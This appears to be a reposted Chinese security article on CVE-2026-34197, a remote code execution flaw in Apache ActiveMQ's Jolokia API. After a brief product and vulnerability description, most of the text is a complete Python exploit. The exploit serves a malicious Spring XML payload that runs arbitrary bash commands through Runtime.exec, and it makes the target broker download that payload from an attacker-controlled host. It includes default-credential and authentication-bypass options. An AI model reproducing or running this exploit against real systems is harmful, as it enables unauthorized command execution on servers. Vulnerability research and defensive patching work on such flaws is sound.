文章总结: ApacheActiveMQ存在远程代码执行漏洞CVE-2026-34197,攻击者可通过JolokiaJMX-HTTP接口构造恶意brokerConfig参数,利用ResourceXmlApplicationContext加载远程SpringXML配置实现任意命令执行。影响版本为ActiveMQClassic<5.19.4及6.0.0-6.2.2,文章提供了详细的漏洞原理分析和Python版POC利用代码。 综合评分: 87 文章分类: 漏洞分析,漏洞预警,漏洞POC,WEB安全,应急响应
CVE-2026-34197|Apache ActiveMQ远程代码执行漏洞(POC)
alicy alicy
信安百科
2026年4月15日 09:02 河北
在小说阅读器读本章
去阅读
0x00 前言
ActiveMQ是Apache出品的一款开源消息中间件,完全支持JMS 1.1和J2EE 1.4规范,能为分布式系统提供高效、稳定、安全的企业级消息通信服务。
它支持Java、C、Python等多语言客户端,兼容OpenWire、Stomp、AMQP等多种协议,还具备消息持久化、优先级设置、延迟接收、主从管理等丰富特性,可轻松嵌入Spring应用,适配TomEE、JBoss等多种J2EE服务器。
其核心包含Broker(消息代理服务器)、Producer(消息生产者)、Consumer(消息消费者)等组件,支持点对点(Queue)和发布订阅(Topic)两种消息传递模型,前者确保每条消息仅被一个消费者接收,后者可实现消息向所有订阅者广播,能有效帮助系统实现解耦、异步通信与流量削峰。
0x01 漏洞描述
该漏洞源于系统通过/api/jolokia/暴露Jolokia JMX-HTTP接口,并且默认访问策略允许对org.apache.activemq:* MBeans执行exec操作。由于对输入的discovery URI参数缺乏有效校验,攻击者可构造恶意brokerConfig参数,触发ResourceXmlApplicationContext加载远程Spring XML配置。
在Spring初始化阶段会提前实例化Bean,攻击者可借助Runtime.exec()等方法实现任意代码执行。
0x02 CVE编号
CVE-2026-34197
0x03 影响版本
Apache ActiveMQ Broker < 5.19.46.0.0 <= Apache ActiveMQ Broker < 6.2.3Apache ActiveMQ < 5.19.46.0.0 <= Apache ActiveMQ < 6.2.3
0x04 漏洞详情
POC:
https://github.com/DEVSECURITYSPRO/CVE-2026-34197
#!/usr/bin/env python3"""CVE-2026-34197 — Apache ActiveMQ RCE vía Jolokia API
Ejecución remota de código en Apache ActiveMQ Classic a través de laoperación addNetworkConnector expuesta por Jolokia. El exploit fuerzaal broker a descargar y ejecutar un archivo de configuración Spring XMLmalicioso mediante el transporte VM y el esquema xbean:.
Versiones afectadas: - ActiveMQ Classic < 5.19.4 - ActiveMQ Classic 6.0.0 — 6.2.2
En versiones 6.0.0 — 6.1.1 no se requiere autenticación (CVE-2024-32114).
Uso: python exploit.py -t http://OBJETIVO:8161 -l MI_IP -c "id"
Autor: KONDOR DEV SECURITYPoC con fines educativos y de investigación en seguridad."""
import argparseimport http.serverimport osimport sysimport threadingimport timeimport socket
try: import requestsexcept ImportError: print("[!] Módulo 'requests' no encontrado. Instalar con: pip install requests") sys.exit(1)
# ─── Colores para la terminal ───────────────────────────────────────────────
class Color: RED = "\033[91m" GREEN = "\033[92m" YELLOW = "\033[93m" BLUE = "\033[94m" CYAN = "\033[96m" RESET = "\033[0m"
BANNER = f"""{Color.CYAN} ╔═══════════════════════════════════════════════════════════╗ ║ CVE-2026-34197 — Apache ActiveMQ RCE via Jolokia API ║ ║ ActiveMQ Classic < 5.19.4 / 6.0.0 — 6.2.2 ║ ║ By: KONDOR DEV SECURITY — t.me/KONDORDEVSECURITY ║ ╚═══════════════════════════════════════════════════════════╝{Color.RESET}"""
# ─── Generación del payload XML ─────────────────────────────────────────────
def generar_payload_xml(comando: str) -> str: """Genera el payload Spring XML que ejecuta el comando dado.""" payload_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), "payloads") template_path = os.path.join(payload_dir, "template.xml")
if os.path.exists(template_path): with open(template_path, "r", encoding="utf-8") as f: template = f.read() return template.replace("{{COMMAND}}", comando)
# Fallback: generar inline si no existe la plantilla return f"""<?xml version="1.0" encoding="UTF-8" ?><beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="exec" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean"> <property name="targetObject"> <bean class="org.springframework.beans.factory.config.MethodInvokingFactoryBean"> <property name="targetClass" value="java.lang.Runtime"/> <property name="targetMethod" value="getRuntime"/> </bean> </property> <property name="targetMethod" value="exec"/> <property name="arguments"> <list> <array value-type="java.lang.String"> <value>/bin/bash</value> <value>-c</value> <value>{comando}</value> </array> </list> </property> </bean></beans>"""
# ─── Servidor HTTP para servir el payload ────────────────────────────────────
class PayloadHandler(http.server.BaseHTTPRequestHandler): """Servidor HTTP que sirve el payload XML y registra las peticiones."""
payload_xml = "" peticion_recibida = threading.Event()
def do_GET(self, *args, **kwargs): self.send_response(200) self.send_header("Content-Type", "application/xml") self.end_headers() self.wfile.write(PayloadHandler.payload_xml.encode("utf-8")) print(f"{Color.GREEN}[+] Payload servido a {self.client_address[0]}{Color.RESET}") PayloadHandler.peticion_recibida.set()
def log_message(self, format, *args): # Silenciar logs por defecto del servidor HTTP pass
def iniciar_servidor_http(lhost: str, lport: int, payload_xml: str) -> http.server.HTTPServer: """Inicia el servidor HTTP en un hilo separado para servir el payload.""" PayloadHandler.payload_xml = payload_xml PayloadHandler.peticion_recibida.clear()
servidor = http.server.HTTPServer((lhost, lport), PayloadHandler) hilo = threading.Thread(target=servidor.serve_forever, daemon=True) hilo.start() return servidor
# ─── Verificación de conectividad ────────────────────────────────────────────
def verificar_objetivo(target: str, auth: tuple | None) -> bool: """Verifica que el objetivo sea accesible y que Jolokia responda.""" url = f"{target.rstrip('/')}/api/jolokia/" try: kwargs = {"timeout": 10} if auth: kwargs["auth"] = auth resp = requests.get(url, **kwargs) if resp.status_code == 200: return True elif resp.status_code == 401: print(f"{Color.RED}[!] Autenticación fallida (401). Verificar credenciales.{Color.RESET}") return False elif resp.status_code == 403: print(f"{Color.RED}[!] Acceso prohibido (403) a Jolokia.{Color.RESET}") return False else: print(f"{Color.YELLOW}[*] Respuesta inesperada: HTTP {resp.status_code}{Color.RESET}") return True # Intentar de todas formas except requests.ConnectionError: print(f"{Color.RED}[!] No se pudo conectar a {target}{Color.RESET}") return False except requests.Timeout: print(f"{Color.RED}[!] Timeout al conectar a {target}{Color.RESET}") return False
def obtener_broker_name(target: str, auth: tuple | None) -> str | None: """Intenta obtener el nombre del broker vía Jolokia.""" url = f"{target.rstrip('/')}/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=*" try: kwargs = {"timeout": 10} if auth: kwargs["auth"] = auth resp = requests.get(url, **kwargs) if resp.status_code == 200: data = resp.json() if "value" in data and data["value"]: # Extraer el nombre del broker del primer resultado for key in data["value"]: if "brokerName=" in key: return key.split("brokerName=")[1].split(",")[0] except Exception: pass return None
# ─── Exploit principal ───────────────────────────────────────────────────────
def ejecutar_exploit(target: str, lhost: str, lport: int, comando: str, auth: tuple | None, broker_name: str) -> bool: """ Ejecuta el exploit CVE-2026-34197.
1. Genera el payload Spring XML con el comando. 2. Levanta un servidor HTTP para servirlo. 3. Envía la petición a Jolokia para invocar addNetworkConnector con un URI vm:// que apunta al payload remoto. """ print(f"{Color.BLUE}[*] Objetivo: {target}{Color.RESET}") print(f"{Color.BLUE}[*] Comando: {comando}{Color.RESET}") print(f"{Color.BLUE}[*] Payload: http://{lhost}:{lport}/payload.xml{Color.RESET}") print(f"{Color.BLUE}[*] Broker: {broker_name}{Color.RESET}") print(f"{Color.BLUE}[*] Auth: {'Deshabilitada' if auth is None else auth[0]}{Color.RESET}") print()
# Paso 1: Generar payload print(f"{Color.YELLOW}[*] Generando payload XML...{Color.RESET}") payload_xml = generar_payload_xml(comando)
# Paso 2: Iniciar servidor HTTP print(f"{Color.YELLOW}[*] Iniciando servidor HTTP en {lhost}:{lport}...{Color.RESET}") try: servidor = iniciar_servidor_http("0.0.0.0", lport, payload_xml) except OSError as e: print(f"{Color.RED}[!] No se pudo iniciar el servidor HTTP: {e}{Color.RESET}") return False print(f"{Color.GREEN}[+] Servidor HTTP escuchando en 0.0.0.0:{lport}{Color.RESET}")
# Paso 3: Enviar petición a Jolokia jolokia_url = f"{target.rstrip('/')}/api/jolokia/" rce_broker = "rce" # Nombre del broker ficticio que se creará discovery_uri = ( f"static:(vm://{rce_broker}?brokerConfig=" f"xbean:http://{lhost}:{lport}/payload.xml)" )
payload_json = { "type": "exec", "mbean": f"org.apache.activemq:type=Broker,brokerName={broker_name}", "operation": "addNetworkConnector", "arguments": [discovery_uri] }
headers = { "Content-Type": "application/json", "Origin": target.rstrip("/") }
print(f"{Color.YELLOW}[*] Enviando petición a Jolokia...{Color.RESET}")
try: kwargs = { "json": payload_json, "headers": headers, "timeout": 30 } if auth: kwargs["auth"] = auth
resp = requests.post(jolokia_url, **kwargs)
if resp.status_code == 200: data = resp.json() if data.get("status") == 200: print(f"{Color.GREEN}[+] Jolokia aceptó la operación (status=200){Color.RESET}") else: error = data.get("error", "desconocido") print(f"{Color.YELLOW}[*] Jolokia respondió con status={data.get('status')}: {error}{Color.RESET}") # Esto puede ser normal — el comando ya se ejecutó durante la carga del XML elif resp.status_code == 401: print(f"{Color.RED}[!] Autenticación fallida (401){Color.RESET}") servidor.shutdown() return False elif resp.status_code == 403: print(f"{Color.RED}[!] Acceso prohibido (403){Color.RESET}") servidor.shutdown() return False else: print(f"{Color.YELLOW}[*] Respuesta HTTP: {resp.status_code}{Color.RESET}")
except requests.ConnectionError: print(f"{Color.RED}[!] Error de conexión al enviar el exploit{Color.RESET}") servidor.shutdown() return False except requests.Timeout: print(f"{Color.YELLOW}[*] Timeout en la petición (puede ser normal si el comando tarda){Color.RESET}")
# Paso 4: Esperar a que el objetivo descargue el payload print(f"{Color.YELLOW}[*] Esperando que el objetivo descargue el payload...{Color.RESET}") if PayloadHandler.peticion_recibida.wait(timeout=15): print(f"{Color.GREEN}[+] El objetivo descargó el payload. Comando ejecutado.{Color.RESET}") exito = True else: print(f"{Color.YELLOW}[*] No se recibió petición del payload en 15s.{Color.RESET}") print(f"{Color.YELLOW} Esto puede indicar que el objetivo no es vulnerable,{Color.RESET}") print(f"{Color.YELLOW} que no puede alcanzar {lhost}:{lport}, o que el broker{Color.RESET}") print(f"{Color.YELLOW} name '{broker_name}' es incorrecto.{Color.RESET}") exito = False
# Limpiar servidor.shutdown() return exito
# ─── CLI ─────────────────────────────────────────────────────────────────────
def parse_args(): parser = argparse.ArgumentParser( description="CVE-2026-34197 — Apache ActiveMQ RCE vía Jolokia API", formatter_class=argparse.RawDescriptionHelpFormatter, epilog="""Ejemplos: %(prog)s -t http://10.0.0.1:8161 -l 10.0.0.2 -c "id" %(prog)s -t http://10.0.0.1:8161 -l 10.0.0.2 -c "whoami" -u admin -p secret %(prog)s -t http://10.0.0.1:8161 -l 10.0.0.2 -c "id" --no-auth """ ) parser.add_argument("-t", "--target", required=True, help="URL base del objetivo (ej: http://10.0.0.1:8161)") parser.add_argument("-l", "--lhost", required=True, help="IP del atacante para servir el payload") parser.add_argument("-lp", "--lport", type=int, default=8888, help="Puerto del servidor HTTP local (default: 8888)") parser.add_argument("-c", "--command", required=True, help="Comando a ejecutar en el objetivo") parser.add_argument("-u", "--user", default="admin", help="Usuario de Jolokia (default: admin)") parser.add_argument("-p", "--password", default="admin", help="Contraseña de Jolokia (default: admin)") parser.add_argument("--no-auth", action="store_true", help="No enviar credenciales (CVE-2024-32114, versiones 6.0.0-6.1.1)") parser.add_argument("--broker-name", default=None, help="Nombre del broker (default: autodetectar o 'localhost')") return parser.parse_args()
def main(): print(BANNER) args = parse_args()
auth = None if args.no_auth else (args.user, args.password)
# Verificar conectividad print(f"{Color.YELLOW}[*] Verificando conectividad con el objetivo...{Color.RESET}") if not verificar_objetivo(args.target, auth): sys.exit(1) print(f"{Color.GREEN}[+] Objetivo accesible{Color.RESET}")
# Determinar nombre del broker broker_name = args.broker_name if not broker_name: print(f"{Color.YELLOW}[*] Intentando detectar nombre del broker...{Color.RESET}") broker_name = obtener_broker_name(args.target, auth) if broker_name: print(f"{Color.GREEN}[+] Broker detectado: {broker_name}{Color.RESET}") else: broker_name = "localhost" print(f"{Color.YELLOW}[*] No se pudo detectar. Usando por defecto: {broker_name}{Color.RESET}")
print()
# Ejecutar exploit exito = ejecutar_exploit( target=args.target, lhost=args.lhost, lport=args.lport, comando=args.command, auth=auth, broker_name=broker_name )
print() if exito: print(f"{Color.GREEN}[+] Exploit completado con éxito{Color.RESET}") else: print(f"{Color.RED}[-] Exploit no confirmado — revisar parámetros{Color.RESET}")
sys.exit(0 if exito else 1)
if __name__ == "__main__": main()
0x05 参考链接
https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt
推荐阅读:
CVE-2026-4747|FreeBSD栈溢出漏洞(POC)
CVE-2026-34714|Vim高危远程代码执行漏洞(POC)
CVE-2026-33371|Zimbra存在XML外部实体(XXE)漏洞
Ps:国内外安全热点分享,欢迎大家分享、转载,请保证文章的完整性。文章中出现敏感信息和侵权内容,请联系作者删除信息。信息安全任重道远,感谢您的支持!!!
本公众号的文章及工具仅提供学习参考,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:信安百科 alicy alicy《CVE-2026-34197|Apache ActiveMQ远程代码执行漏洞(POC)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论